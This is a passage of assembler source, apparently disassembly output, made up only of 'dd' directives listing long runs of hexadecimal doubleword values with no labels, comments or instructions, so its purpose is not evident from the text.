5A19EA80h, 0B3033E52h dd 0E942DDD1h, 0A72DC0A6h, 18E8F1DCh, 6C214C62h, 295B1875h dd 8ABE189Ch, 3970D8F6h, 10FBD628h, 20AFD920h, 78069FDEh dd 0D32F9E9Ch, 543E1F11h, 40598067h, 5851DBC4h, 212808CCh dd 676D0011h, 0CC9B8C86h, 54062F3Bh, 9E79A259h, 81F92058h dd 0A3BADE03h, 0C85FFD50h, 56102Ch, 6A8D5D41h, 989504A1h dd 0E4D0F800h, 86EB2065h, 0BF39C09Ah, 57D188Ah, 0D2FBBD06h dd 6008E51Ch, 95582194h, 0CE00C218h, 0C9B3C133h, 60B5A2A6h dd 28DF80CCh, 0F0C0D262h, 0E423D7BFh, 60D84124h, 5203935Dh dd 9B32E359h, 300896AEh, 0E420D7C9h, 0CB0393E8h, 0AAC63861h dd 0A64D935Ch, 20948058h, 0CDFD33ABh, 3CD85B10h, 0BA00CE0Ch dd 0EE793E54h, 3503D95h, 27A59861h, 5CA86744h, 5B00ABB9h dd 6046DEDBh, 1317BCAh, 17A49CA9h, 209AB080h, 0D03D707h dd 5CBF449Dh, 843CB874h, 225F03A2h, 11078A8Dh, 0C2917AE8h dd 0B7A6C700h, 17B88506h, 0E2CB2472h, 212E0323h, 59F041ECh dd 8E00A06Eh, 1A983F07h, 0D58328h, 8AA71E50h, 16619E97h dd 0BEB66E0Fh, 0FE638066h, 5F81CBh, 1E2DB754h, 4FF6D18Dh dd 671A400h, 4AAE99DDh, 0CFAF00F3h, 0C413F293h, 4378521Eh dd 3F0031F4h, 1835A548h, 1637536h, 0CCFCC8ACh, 9D19BE9Fh dd 7B9D2F48h, 0C1F68F00h, 3F560Bh, 0F8887F6Ch, 9D2BD442h dd 3CD1C43Eh, 195E00F6h, 82AD8B60h, 54108E3h, 8F00F747h dd 8C94C21Ch, 0E1771EAh, 86CCA148h, 54B9F820h, 10C0C045h dd 6B64EABFh, 0BE76072Fh, 60E3FCA5h, 0D4AD0E06h, 0C2DA741Ch dd 98FE294Fh, 0EB5670h, 172FD4Eh, 0E1F741D2h, 38314688h dd 0E5817014h, 0A75DFC71h, 4FC881A6h, 790A6B5Ch, 0E618D0h dd 0AB63DC39h, 33FF1C9Bh, 0F48CCF00h, 8EA8A7A6h, 4C072A75h dd 0A0E4318Ch, 8408F619h, 8EF81469h, 2FC8BB80h, 18450E88h dd 21E07AF4h, 943B31C9h, 4A872500h, 0E78CB7E9h, 895667C0h dd 43EEB02Bh, 8118D5ABh, 0A018A562h, 3977008Ch, 38DF0AEFh dd 42058397h, 8F2AC0F4h, 4DBA8BC0h, 2DFB1460h, 8D00B430h dd 0B756941Fh, 0B83DEB6Ah, 3E6F8079h, 0F5970195h, 377BDFh dd 73E4E9AEh, 0B1EB2766h, 2AA3400h, 2FB381BFh, 0CF830358h dd 50D9F003h, 0E0A2F1C9h, 0DD01AE27h, 2E6D5452h, 408F9961h dd 807F49DAh, 0B5D8F51h, 0DF000147h, 285E2F50h, 983D52D0h dd 0C97806ABh, 20497405h, 65792776h, 20D8F529h, 30290FC2h dd 0F61DD96Eh, 30304988h, 65A474h, 5448F7Bh, 29CD755h dd 21C048E8h, 9365CF95h, 213200DBh, 90C9ADC1h, 0F140EF19h dd 31960054h, 9FE2B40Ah, 250080B8h, 0D88FDFDCh, 38152DAh dd 0A650FD18h, 300022D0h, 97707D9h, 0C645FA3h, 14A4DD20h dd 21C02B08h, 8A091EE5h, 0F7D01422h, 62009892h, 0EB4F6E75h dd 0B4A0322Dh, 0AD18DB11h, 53599680h, 0EC663D21h, 0EEF999E0h dd 711C9D91h, 560C74C2h, 0C1E5089Ah, 91E99C21h, 371CF07Ah dd 3A8DF405h, 0DC0F0C2Ch, 0D0E9143h, 989BE65Dh, 1A4C823h dd 5FA10979h, 88361814h, 90060E7h, 747A5C78h, 638FAB70h dd 398B581Bh, 9EFA918h, 3C3C5C91h, 8E803E4Eh, 0B73595BBh dd 2D008407h, 0E3144B3Fh, 2755081h, 0CBAC25D9h, 84802C41h dd 0FBDF1159h, 0BB6C5D3Bh, 0A5A8647Ah, 0A4097E60h, 111C5F23h dd 65E6002Ah, 99CA6309h, 0F78B079Dh, 5371BABCh, 0B07B5993h dd 53702406h, 610020Bh, 5BF41427h, 8CEE40B4h, 186749h dd 75D4C31Fh, 0AABCD8h, 6F72197Eh, 36DECF09h, 59AD2401h dd 5662660Eh, 30832A60h, 0BF882E95h, 0DBE018A7h, 80AE2505h dd 0EC222445h, 91ED301Fh, 0EA719E11h, 9B87FE88h, 1DF091F4h dd 8A806Ah, 7CD3F860h, 83ADC665h, 2C267228h, 8766446h dd 92719F91h, 96400AC4h, 1F9891F7h, 0F9A17F30h, 3E813446h dd 630F682Eh, 0B1A00DD4h, 2AA7C9A9h, 0FB29BB09h, 0BE0CA079h dd 48E32F5Fh, 0D40068A8h, 0D892740h, 3091E75Ah, 7C86A791h dd 6C563809h, 0B2F22DCh, 6B0963E4h, 0E6313801h, 0F4A8E9F9h dd 0BC0CD3FBh, 60CA27DEh, 3C31C737h, 592DE30h, 4135EFCCh dd 0C3588EB0h, 0DFEC4777h, 1382D60Fh, 9C8A4981h, 2C7301A2h dd 9CD72283h, 0B170D1C8h, 3B29C0Bh, 98195F84h, 0DBA012E9h dd 0C008C1Dh, 29FB019Dh, 1C419217h, 13022FE1h, 584C04ACh dd 0D7AC8190h, 1022094Eh, 8C302CE2h, 55A900C6h, 0D32BAF9Ah dd 0A0C117CDh, 56DB808Eh, 1EFCD0A0h, 54F03BFh, 4E1058F4h dd 0C68607DCh, 71F08146h, 0EC1B9F00h, 0DBFCB82Bh, 0FD403AD3h dd 77554977h, 561BA700h, 0AFEF2B47h, 21D73201h, 4B8169C3h dd 0C0025C20h, 0F7BE7E68h, 5740BD5Bh, 91CB192Ah, 0F558993Eh dd 7B40062Fh, 0D0305080h, 9DA8AAB7h, 802911DCh, 0D4BFECB7h dd 13A07DD3h, 473C7DEBh, 0E14ECE0Ch, 523058F7h, 9C30C97Ch dd 2BEF341Bh, 0A47C4CF0h, 1BEA1121h, 39C31D01h, 577BA371h dd 0DB406040h, 76049850h, 14868A58h, 0EE12F17Dh, 6C3E53A3h dd 0D5002823h, 8A5761C1h, 1C4348ECh, 4050EA24h, 9246D41Bh dd 404C23F5h, 5E4C13B0h, 0E8F09458h, 61078CE1h, 0B1BBAC6Eh dd 83803E7Fh, 51D4DE18h, 828D3D6h, 0A3C0F5A0h, 218F7865h dd 5F9102CCh, 65CA9601h, 0F868CB88h, 0C0A3DB32h, 0FB9C40FCh dd 0A5C10Fh, 3EEC0EBFh, 0C4741DD3h, 0E7068900h, 0C7B92078h dd 589F1376h, 0CC18480Eh, 80ACB569h, 318A64Ah, 2714D068h dd 236CD890h, 65BE01F4h, 18B48F79h, 0C9978852h, 5EAB651Fh dd 682491ECh, 561D809h, 504886ECh, 97BC092h, 4465FC7h dd 99002322h, 0EF060962h, 1D6C6BBDh, 44DFCC77h, 0D467CF5Eh dd 0E1CC05Ch, 3C90032Eh, 98D16044h, 0F0FF4C78h, 23C29E3Fh dd 91EA0B62h, 98E20D04h, 98880D00h, 2932FEF5h, 1D053F7h dd 0F35A4931h, 0F940204Bh, 98CFD33Eh, 0CE8833B3h, 0FD3D26A9h dd 8C0115B5h, 6F758F06h, 7C263048h, 60BF20B6h, 71A55151h dd 5FDB245Bh, 0EF790654h, 10B081FFh, 65CF320h, 8E338132h dd 89303953h, 4280410Eh, 457050h, 6FF0E1CBh, 472F5C6Bh dd 9E900A50h, 0A4E65C90h, 0F4915EE8h, 71BBC400h, 4D0D74DAh dd 7CFC5Ch, 5FB965Ah, 0DF644FA1h, 4B075072h, 0FC533E98h dd 4532E8D0h, 675818D8h, 0CD499866h, 4F7C1900h, 0EA77DC07h dd 0DB1F02C9h, 50EEB36Bh, 83991341h, 0C75FB40h, 3A583F12h dd 0D8D1C903h, 5D8BA081h, 93067FD1h, 230CA6B0h, 2476F987h dd 8B81901h, 0B420D8B5h, 9C54500h, 0BBE58B72h, 73D97EF3h dd 0F1C89149h, 9A01852h, 0AC7C2C3Fh, 0B656C410h, 0F0FEE700h dd 7242CDB3h, 37BD0B80h, 50373E3Dh, 797D4081h, 33D8A504h dd 147A12FDh, 0FF100411h, 264F074Bh, 35EEA3h, 0E98B3639h dd 119063C3h, 2785938h, 0F9C8ECB1h, 0C57F09Bh, 0A78005C9h dd 18052740h, 0E383580Fh, 0B0502C90h, 61F71FE1h, 518F8E81h dd 0A4CC2713h, 0A3720034h, 98F5F9D3h, 0A0190194h, 49EBD1F6h dd 8E20BD3Fh, 6AA4A5CBh, 6E702096h, 6588C84h, 43A4BCA8h dd 487E0054h, 0A9DA95EBh, 53701202h, 2998C03Fh, 63127314h dd 0E020D4ABh, 13FA8EF4h, 40D3D0B7h, 4ABF5230h, 40072B3h dd 0C3E20737h, 1F5D7BE5h dd 41019CE9h, 0A40C8977h, 30A2D990h, 2C040D0Ch, 0F58094Eh dd 0BB758101h, 0E1A840A1h, 0DE60F8ADh, 90695671h, 0D25C0145h dd 0A370049Dh, 0E5422CFh, 2C8B91B4h, 98101Ah, 317C59B7h dd 97E73A05h, 0A203D77Dh, 0A4F809F6h, 7F20B8B5h, 0BD2F830h dd 9DE936CFh, 711B080h, 0D001F0Ah, 542B6104h, 78507E58h dd 0AFFC0262h, 6AE6B14Dh, 5130FC60h, 0AAA87F80h, 567B60A4h dd 884F01CBh, 814C642Ah, 0EB7F065h, 8BECDF09h, 0E57C2079h dd 1A25BE9h, 6DC1C7EAh, 0DC7DCF26h, 7F3D8D85h, 0E9F8C59h dd 924F401Eh, 0D17C1F30h, 3E4E403Dh, 319A04A5h, 4B386F00h dd 2BD72A13h, 0B6820EE1h, 0A6408B30h, 0E56710C0h, 58F1BE00h dd 89F3B9ABh, 0E957180h, 27C59E62h, 77B2E943h, 16C01CB3h dd 3F001DB4h, 0F0D268F7h, 0B0924E79h, 0B03A03B6h, 20BBA6C4h dd 0B2801800h, 30039ECDh, 0D7473CC7h, 5665E20Fh, 265F7B07h dd 0C53928D5h, 610BB14Bh, 86E4A8AEh, 0C2B0007h, 0F377F657h dd 950079D2h, 3E434F1Ch, 1F5AFE37h, 0C1C51A4Dh, 0F77132B7h dd 0CA144107h, 4A68F846h, 0BCC7FE3Fh, 7876B0A2h, 3202B7F3h dd 7ED1AACEh, 0A8151C90h, 0C78519C6h, 1B36E8C0h, 98943055h dd 0E0A226D4h, 0BEC0C31Ah, 2142F171h, 1D9EA15Ch, 91C8B800h dd 0FBAF207h, 3510B08Ch, 6E34B7ABh, 0DC40201Fh, 1A72F7BDh dd 0D8F6D414h, 21640090h, 3D9F7057h, 0B1506215h, 0B3E075A8h dd 2C015A45h, 95F1F5C9h, 86D83BC8h, 28C46337h, 3103F915h dd 0B14258ECh, 0B502E0C7h, 186460E9h, 0E5FD7881h, 562FBD0Ch dd 88C3785Ah, 67015EC9h, 330692CBh, 0A04128A6h, 8010745Fh dd 37506ECAh, 27002C98h, 0D14DD02Eh, 7A925EC2h, 14350065h dd 0F974BEB0h, 0B330023Ah, 0A65779EBh, 6124A993h, 0B1745310h dd 0B0FE7603h, 0FC15FDh, 0EE46F7C1h, 0D76D4DB5h, 0E125A14h dd 0FA8203F0h, 0B0F966D0h, 553B9D2Bh, 80F0B8DBh, 18A5611Ah dd 843FDD47h, 875E5A48h, 32790C80h, 0EEC98EFh, 2B2E9692h dd 0E2FE4940h, 8F0697DBh, 704D76B8h, 1ED9E481h, 80698CBCh dd 5D122BBFh, 9A30EA26h, 65B52130h, 0CF28078Ah, 0B08623F0h dd 0B642EC82h, 0D55A89A0h, 0F4171D2Ah, 0DDAE7801h, 86EA0629h dd 12734FD8h, 3A60AFh, 0AB974D30h, 3354C934h, 46191DE4h dd 37A167E7h, 3AD95D60h, 8A809A18h, 8DBD5FBCh, 700CC29Eh dd 481E88F7h, 674C7396h, 0A2FAA134h, 8887A7BAh, 0A4D94C15h dd 2734190Ch, 1C86E0CCh, 9437ACCAh, 303CD4C4h, 0EFE2D300h dd 73D0DFA9h, 0D70E6212h, 0B751EF00h, 0CF1E3Fh, 0FF3630E3h dd 4216AC11h, 74F4252Ch, 5A48F700h, 3EAE97C7h, 2060E766h dd 9277B1C2h, 0C363590Bh, 580D8FFAh, 0C0AFE608h, 925FD120h dd 0F1002199h, 8D9CD62Bh, 770CC4F0h, 0E3C60062h, 81D3458h dd 4D33B49Dh, 0C16C3871h, 44403175h, 0F243A622h, 0EA4764Eh dd 23DC445Ah, 3F212D8Ch, 0B00040FAh, 0A0B71321h, 0C38DD6B9h dd 53362F30h, 0DA30680Ch, 60ED31D3h, 0FA5AA1FBh, 0B7000762h dd 88303391h, 609FA413h, 81CD98F6h, 0C16CB49Ch, 8C5F9938h dd 6B439002h, 1923F44Eh, 0B805101Bh, 3B980043h, 576A5EAEh dd 241880F3h, 0CA58E735h, 0C45AF853h, 47C7DDA1h, 9B704C5h dd 5906868Fh, 8E700081h, 9C9EB31Ch, 19010A37h, 4810869h dd 5087AEE1h, 0D0F84846h, 0A76C1AE4h, 99239807h, 0EE008297h dd 0E8CCABC9h, 0B83C00C8h, 0A8B4811h, 719065B4h, 0BE3C5477h dd 73380D1h, 0FC3C2252h, 9CB15C88h, 0CF6E1B00h, 812C9E7Bh dd 0A4D59A00h, 0E0CEF339h, 615D0054h, 0DF51FC1Fh, 23019708h dd 0C08A3E89h, 0A1F4DA09h, 3A5FE6Bh, 0D387DFE8h, 0D2C02331h dd 6C00AB0Bh, 91F72D81h, 7E9CEE4h, 3E797856h, 7F043AF8h dd 0B01AF560h, 0D668A1A9h, 0FEF621D8h, 0E83500A1h, 33F77741h dd 4D1E2F62h, 2140A08Eh, 9313C990h, 0A1440C06h, 0AF29D208h dd 84626344h, 0DE883F73h, 66FB88ECh, 8875F588h, 0DF88A72Bh dd 218C8BEFh, 1712465Eh, 88C3FA10h, 0F4801843h, 14AF00D2h dd 0D6A70897h, 3D3E548Ch, 0C169807Dh, 35FCF128h, 5BEA00FEh dd 0B481CC26h, 0E70178ECh, 3DD0D1Dh, 40D8C3D1h, 0F3F90093h dd 0FADBAAD0h, 1EF68267h, 18E8E600h, 0ABC3DD79h, 7BB60059h dd 0FA5D9825h, 0A7C12A4h, 0D7C9A807h, 809B9B35h, 0C806AB40h dd 0B09000BEh, 0F6E5112Bh, 26C00A14h, 792DF205h, 5AC81FBBh dd 7CE08395h, 0BFB0C180h, 4008DCBh, 0CA295C6Dh, 7B76ADABh dd 27A107D6h, 0DA6C4Eh, 14EDE4ACh, 775F33Ch, 0D55B65EAh dd 9D74F400h, 397C00D9h, 934FA2Fh, 80004BB6h, 0D80D7026h dd 7B90B3h, 663A7A78h, 0E55DB476h, 5384C400h, 0AA040E68h dd 0C2849E9h, 51B19F00h, 53E65E1Bh, 0DC708A60h, 0CC7E711h dd 16F42C78h, 0F6002858h, 6D3E140Bh, 0E4908B9Bh, 936E009Ch dd 0B4A2575Dh, 0CF000CD6h, 0D364897Ch, 48FB7559h, 760E48FAh dd 9507C0C1h, 48D6006Eh, 0F85035E1h, 7E003084h, 2A36F279h dd 7789F9h, 1E840E80h, 26B8D862h, 915BC100h, 1CEAAA76h dd 0B7441DF2h, 0F40640E9h, 0FD74B180h, 0DC5118C0h, 7DB51197h dd 50F01CDBh, 8ED03095h, 8F0047D1h, 93531DC2h, 484172h dd 0C4896235h, 13C017FCh, 4F098600h, 0E1572503h, 2E8507D2h dd 331D06E5h, 5482A93Dh, 0B909A040h, 4ADE48h, 8D1422ACh dd 0D67833h, 0B0A354A1h, 7FE15A63h, 46F60C19h, 0E6D81224h dd 0A3FB0013h, 97F49035h, 7B01DD75h, 31810255h, 2EC85DB1h dd 0EC9F0019h, 0D31AC459h, 0B900B48Fh, 478DCA54h, 5735F9h dd 91293E7h, 0BD7E84Eh, 0C36BCE00h, 0AD99E0EEh, 0F9380019h dd 63467220h, 12015F93h, 1CEB83A7h, 0BBEC2A0Fh, 0F89F00C1h dd 19B7E317h, 5D16B328h, 641CBD54h, 0B6895604h, 45655880h dd 8AB51C5Ah, 3F4F40A5h, 78BA8BAAh, 71001C90h, 0C7DE53EDh dd 0E062820h, 5BBE5874h, 9EB095C0h, 8E0C3D3h, 0E2ADC900h dd 8714BC90h, 0E461008Dh, 0A2A0C702h, 2FB09D7Fh, 515C18C1h dd 0D8F8ECA4h, 0C97A1EC6h, 0C5FD8019h, 64AF662h, 69099300h dd 0E1F24F01h, 8B7F45h, 9E4325E5h, 94706854h, 7DEFE007h dd 0F1E075ADh, 49815Fh, 0B2652C88h, 824DA418h, 80D73F3Bh dd 9E857FFCh, 0E43B803Ah, 187466h, 4336A1ACh, 8C08F40Eh dd 0C200B57Bh, 0A2BB71C9h, 103D919h, 7F063144h, 0E469FBC0h dd 0EF0061B9h, 0C18118CEh, 7AF3BB65h, 940650A2h, 0F2D20054h dd 6EE16837h, 0A400FB70h, 5702B51Bh, 7C5B29h, 2185A01Dh dd 626EA966h, 2AF70600h, 3637402Fh, 48FB00EAh, 13BB292h dd 1B981C86h, 0AFE3B507h, 6C10ACCEh, 0A730C33h, 2E35F02Dh dd 924C07CCh, 0B8D281CDh, 8920205Fh, 60DFA000h, 5D946D13h dd 0C0F648CFh, 0D1548500h, 31AF6EE8h, 0A0CECC00h, 0A1907CE9h dd 9825F40Ah, 0E85500C5h, 3DEB80FDh, 474C4C5h, 4714Ch dd 6B9186F7h, 55409E4h, 0C68701A2h, 2F5EC27Bh, 0CF889843h dd 40E1306Bh, 85889788h, 64E4A724h, 0C6915900h, 0CFE9DDh dd 0F16C1946h, 0DA849717h, 0F8CE2903h, 804555CAh, 3B43321h dd 0F6CD828Fh, 0AE80117h, 184EF21Dh, 7C2CF9A0h, 101400C1h dd 871F6E49h, 2D020AEBh, 73B6FB51h, 306626h, 8FC050EAh dd 4DFD6D6Eh, 0EBE21300h, 430107D7h, 81140035h, 78823032h dd 0B000C4E9h, 0AAA539D6h, 3EF716B6h, 4080FC63h, 69919AD5h dd 1000B874h, 0FEDB236Fh dd 30B3FFh, 8544217Fh, 0D6F33F71h, 0D13CB976h, 14C003ABh dd 0D82ED3F0h, 3AE95DF9h, 3C804661h, 93C83730h, 6301FFD7h dd 11633CAh, 949D1BF3h, 0D0414744h, 7769C0ADh, 0A0004EA9h dd 6671D206h, 3D76ED14h, 9B000BE1h, 91DBC6B0h, 68003FB7h dd 0AB43E9B3h, 73842973h, 0F01200E1h, 66198B61h, 67007C75h dd 0A9F69E91h, 0B5C770h, 44528914h, 27931028h, 193E1B0Fh dd 1F00F377h, 0DA7F5037h, 10EF00E3h, 0AD12ABBBh, 94025BC8h dd 9EE79D15h, 6B97C07Bh, 9CDB00B1h, 0FAA2C90Bh, 0F0023D6h dd 10D57F90h, 300EDE5Dh, 4040B2E0h, 3C0344F3h, 56C359FBh dd 9F73E807h, 30F815h, 17FE18ECh, 7DDCF2D3h, 8CB20D00h dd 0C5F410C2h, 37880012h, 0EF7A66EBh, 0A0009E7Fh, 2769986Bh dd 71EA28C8h, 29E70045h, 0CA39B804h, 0AF07D04Ah, 4C80DF60h dd 1CA7FB40h, 0E7BE002Bh, 57557E45h, 0EA39226Ch, 2369206h dd 1B4C6000h, 0F81AF6Ah, 50E8678Bh, 932D1323h, 37538EF8h dd 94B8C500h, 0C7012A70h, 4EAC03BBh, 0D3E8267Eh, 0C22402A9h dd 956328E0h, 62D4C109h, 7E800E0h, 1DAC5D86h, 0ACB66466h dd 36A702D3h, 0AC046B8h, 945C7C53h, 85EF01E8h, 4318CB5Bh dd 1EB309F8h, 0DF762103h, 74BF87EAh, 0F1CD17A8h, 0E433ED49h dd 3B0F2824h, 0C6698E91h, 168CB79h, 5AE30A39h, 0D4533D96h dd 0E70FEF10h, 0C324E56Dh, 0B8F76193h, 22E15DCh, 12821CC4h dd 0BC48F2E4h, 0BD010717h, 4CB89C3Bh, 0D4FC940Dh, 0B34D0B6Fh dd 2010E6E7h, 0FF31C951h, 0D0A6200Ah, 5C07D0EFh, 0ADAE00A5h dd 549D2327h, 830119E6h, 81BDD7C0h, 0A6EC50EBh, 9B0B0001h dd 0D2D37F41h, 2004CB0h, 0C5ED5907h, 58E82FCBh, 3D023634h dd 3EFB5D6h, 956EB5C0h, 6B13091Ch, 0A07DE98Eh, 0A5F76378h dd 71B20094h, 8BE1C8E8h, 3A00A020h, 0DCABB5D9h, 0E25741CAh dd 0F9BD583Dh, 79D0AC02h, 3860CE23h, 0C5001331h, 4098E71Ah dd 0B03ED680h, 92A10E98h, 0E3E7C011h, 0D415F0FAh, 7C005A4Dh dd 0A2917319h, 509483Ah, 0A965637Ah, 0C4E6831Fh, 3B215D0h dd 6E006C99h, 280B4BFDh, 0F8CB3A9Eh, 0A98D4381h, 2840DAE3h dd 813301E4h, 6F2CC787h, 2DC01465h, 294242h, 9739D494h dd 146FE134h, 0E92C20CBh, 541F8B39h, 0C8305805h, 7157FD6h dd 8FC365Bh, 405A03C3h, 26E6AB6h, 38666B2Eh, 9BBD8184h dd 83EBACC7h, 0C32D55A2h, 4092D1EAh, 2EE80825h, 0B0D87F50h dd 2E71C38h, 64F7C03Ch, 58142D72h, 9DFB4600h, 0B13BD676h dd 0FE940101h, 0AEB352CAh, 2FE9C465h, 0C92B20Fh, 301421DBh dd 4293501Eh, 15C500A2h, 84CF0BAAh, 0B94ED60Bh, 0D1300057h dd 7E0C3411h, 0CDF8D0h, 96B14A54h, 49FAB509h, 21F3CB00h dd 0DE8EB817h, 0AB0A3BFDh, 90BC3104h, 0C77807Ah, 373FAD4Fh dd 48F88513h, 0C8C09740h, 5C8719F6h, 0AB0074ECh, 0E07581Fh dd 0A1CB373h, 6A80150Bh, 0FFBAA78Dh, 941224AFh, 877180D0h dd 0D9BE3098h, 6F842F00h, 5BC14365h, 75FA0085h, 37717B68h dd 0A328971Dh, 0F40F9026h, 618CFE1Fh, 16521E87h, 8B012C28h dd 9343F855h, 0A3EAF4A2h, 2A00677Bh, 0FCC12541h, 35F157h dd 586BC40Eh, 3E7971C0h, 9CE0DC24h, 8EE8FD01h, 0CED8145Eh dd 7C1A3A1Fh, 0DB90CD00h, 0A79B2068h, 7EC5AB05h, 0C4C04246h dd 12C5B52h, 0E0F54D17h, 308F24F4h, 424C7DCEh, 586A03B3h dd 0F9480832h, 0B370F7EEh, 40BD4E6Fh, 6E84383Ch, 4E00A75Dh dd 27C983FBh, 0C07B1994h, 2BE36A20h, 0AC047C12h, 0DA2F08F3h dd 26B940B4h, 8E2497AEh, 4E001082h, 332D92A6h, 5B94E899h dd 0CA321889h, 77D4EBBEh, 0F2F09E9h, 64807DB1h, 0F415F642h dd 89301300h, 0DC02C127h, 3B4E61Dh, 0EAC55394h, 8A98CFE8h dd 1E381B87h, 7700FAFCh, 7259BBE9h, 95815Bh, 990AE16Fh dd 0A78923FBh, 0BE8B5101h, 0E2829E5Ah, 77B3E0h, 0A04DD89Bh dd 5CB04639h, 1EF3FA00h, 4E07A53Dh, 2C8071E2h, 81CCDA2Eh dd 0CFF3784Ch, 0D530C8D2h, 0CF5792Eh, 7A65A602h, 0A44CE021h dd 0C6236097h, 0CF065725h, 46E4F000h, 0CEC3EC3Ah, 0EAC20378h dd 0B7DCBF88h, 209CC090h, 47FBB601h, 50435938h, 21C020h dd 835B6FEBh, 57F47371h, 23377700h, 4DD3FFB0h, 0A2E60039h dd 50177D10h, 0C12E5EADh, 3E8F88F8h, 15A5E012h, 96FED1h dd 7999BC76h, 0B005D9C9h, 6400584Bh, 0DE8AFF6Bh, 44A76F9h dd 3A0F8C65h, 0FD04827Dh, 0A1016458h, 7969B475h, 99E0F3E6h dd 2291120Eh, 0AA6CC093h, 3A00A171h, 61A86BBDh, 7FBCA6F1h dd 9C680956h, 40808DC7h, 0A8E02536h, 0C7A3DB24h, 75509F00h dd 0E2233CCCh, 17D30008h, 0FCF326B3h, 0CF2C5235h, 0C00CF83h dd 887E9D27h, 74BE00C0h, 0B0F53E2Ch, 0D104F21Ch, 60347765h dd 0DB8FEC90h, 93CD5C5Ch, 4B62F100h, 0DF24647Dh, 159ED017h dd 97251800h, 33F2AE9h, 0CBE6886Fh, 8D98CF62h, 6E1DE3B1h dd 6B061217h, 48CC67h, 0A3FD3230h, 0AF29631Fh, 0F898D60Fh dd 0B51DC05Ch, 5CFF5619h, 33CC835h, 0B6AF9400h, 964C9C8Ch dd 74242800h, 0C095A1C6h, 5B209AAh, 0C8003563h, 597FA8B0h dd 0F802B800h, 70828876h, 0F2180065h, 0A093D185h, 3301F9E3h dd 80E4ABA6h, 32E47804h, 1D350038h, 8C64473Ch, 30001EDEh dd 5311FB4Dh, 0BC0CC2Dh, 0B59AACD8h, 26ED10A0h, 3F546970h dd 0D60508D8h, 770F9901h, 88F20AC3h, 7C7D3BF5h, 0B5C0034Bh dd 1FB176FEh, 5498DEC0h, 67B82700h, 318377E3h, 0A8EA3Dh dd 95C11236h, 0C62B1F9Bh, 980A1C01h, 10B337C5h, 0C4407BD5h dd 7F0C311h, 0F205BE76h, 80F8E60Ch, 9B003B76h, 2631029Eh dd 5CD98333h, 5F2E6411h, 0BDBF041Bh, 8B54E09Fh, 934E709Eh dd 0ED00C05Fh, 1FB32242h, 0EB0F0FD6h, 5FE1C06Ah, 0ECEFF59Ch dd 0A90078F7h, 55FAD38Dh, 4C28EADh, 4B0A7C64h, 0B0F3C7F4h dd 45860801h, 482C590Ch, 377189h, 0CA07610Ch, 0FD4D424Ah dd 885B5500h, 33E27C1Eh, 70980Bh, 6BF8F08Ch, 5BE544FBh dd 9078A626h, 36D849h, 0AE2B9B32h, 9111FE53h, 0C0B520C7h dd 0F8DDE01Fh, 137F2F5Eh, 1650D481h, 999800DCh, 3F53F964h dd 56046000h, 0D31CFDD1h, 47A7028Fh, 22E62D40h, 0FE0E943h dd 6500C794h, 26B0088Bh, 0A0629Eh, 9F5B29D6h, 0EE96AD7h dd 0D1BF6951h, 729C40C7h, 0E53C7F35h, 55D21C70h, 2C14BB80h dd 177D76D4h, 20D583F5h, 943A3C8h, 0C11D009Ch, 415AED40h dd 9147AEh, 0D7A75F10h, 616A74E8h, 4A0120BAh, 6E87E94Fh dd 0E8C71425h, 30C5DC94h, 6FC8BF1Ch, 6800792Dh, 0C38B9B67h dd 0AACCA2h, 0E7F024D9h, 0C8ECCBB4h, 94904600h, 83E84ABh dd 5480C0FBh, 0FD1A825h, 4E016917h, 74407430h, 9AED488Fh dd 0C220BD00h, 0C9D6ABCAh, 0B0C09578h, 9A5DDB77h, 51D30B4Bh dd 70A0D006h, 0E0722931h, 7C75F124h, 8EFF1601h, 0EDCC4844h dd 0ACC358D8h, 0F5598300h, 0F01FEB9h, 85291139h, 2D7CA7Bh dd 0E0EBAAC3h, 0EAD421h, 6D134CCCh, 0F692F2DDh, 0C8A1102h dd 0E0235A22h, 1260649Eh, 27F54F4h, 0C44AEE14h, 2EB99CE0h dd 0CE402F00h, 0E04E1A5h, 8B832DACh, 0DD539080h, 7900A4AEh dd 0BFD0752Fh, 171527ECh, 0EBA19Bh, 4BAF6EB4h, 0E9000454h dd 860A67FAh, 12CCA66h, 6C97BB9Bh, 34207ADCh, 781E7B08h dd 0E0B0C01Ah, 9F0176h, 618E99EAh, 0E1E3CE90h, 323BF098h dd 0ED161E84h, 0A095968Fh dd 7CF6CDD3h, 80B0017Eh, 1BFFDCEBh, 0AAA2F40Dh, 55CB2700h dd 0CA1873B3h, 5A0C0EFCh, 7DC0C6F2h, 2A43E2B2h, 25EA5DFEh dd 99D7D904h, 4806BCFh, 0E90C9h, 89BD7F5Bh, 0FC879796h dd 0E60CAB00h, 0C7540F17h, 0C343002Ch, 9C155E53h, 500A1F1h dd 2BF647D2h, 1D8870Eh, 0A770B08Dh, 0C4B9E957h, 0A100FE74h dd 0A5715832h, 0F00C317Bh, 0E35E00CFh, 7D6CA98Dh, 1600F926h dd 60694686h, 4C73549Bh, 7701C8A2h, 83A71B8Dh, 0CEEC245Fh dd 6A3F8400h, 94935980h, 49DDE239h, 57001418h, 79BC4F5Dh dd 5B012391h, 905C0631h, 0A824EC36h, 21571653h, 4D30FA1h dd 32F21B20h, 3A07FAB5h, 6AA6748Bh, 0AD72D860h, 5A34FC41h dd 832C0F43h, 58C6636Fh, 0A073911h, 2191B572h, 0F8166C50h dd 9AC0F9AAh, 1C807D97h, 2E15DD8Ah, 0BFE6052Ah, 239C019Eh dd 3C03EE3Ah, 0D179821Ch, 2A16E1F7h, 4367F70h, 0C2F40DA9h dd 0E7E88011h, 0D2071316h, 0FEE39C08h, 0A4501F20h, 2201007Eh dd 0D6786137h, 0D30007EFh, 47FABE03h, 609BC219h, 7A4C4466h dd 0B9501F43h, 0D1664ECh, 68074628h, 0DD978114h, 4230ADA7h dd 371FD4h, 8AAF8C63h, 0B006A62Ch, 268B9817h, 0EBD9D001h dd 74606602h, 53EC0091h, 0B738873Bh, 341CEAE3h, 0CC8072A8h dd 0FE17CD0Ch, 4B000D6h, 20EB8627h, 37E88351h, 0D952EC01h dd 0E15A60A9h, 5CC42FD8h, 0EC7D9970h, 0BB7E3FF4h, 3AC36F00h dd 23FEFB2Ch, 5C0E6A24h, 0E0A7F80Fh, 0D058CA9Dh, 281E034Fh dd 6CA21B29h, 79F83188h, 8C19E426h, 0F524D380h, 0F2FD8Ah dd 4C6E4EB6h, 98DF55CAh, 2671A20h, 2C52B7F0h, 0F883A1F4h dd 0A8B8A08Bh, 0BB267184h, 8A007CF9h, 0FB5136CDh, 2B813D31h dd 0FE4AC280h, 3C4417BAh, 8CC67D00h, 0C83D4366h, 0BC8F1EC0h dd 477A1C37h, 502579B9h, 657FF52Ah, 0F29E1A16h, 0FAC413h 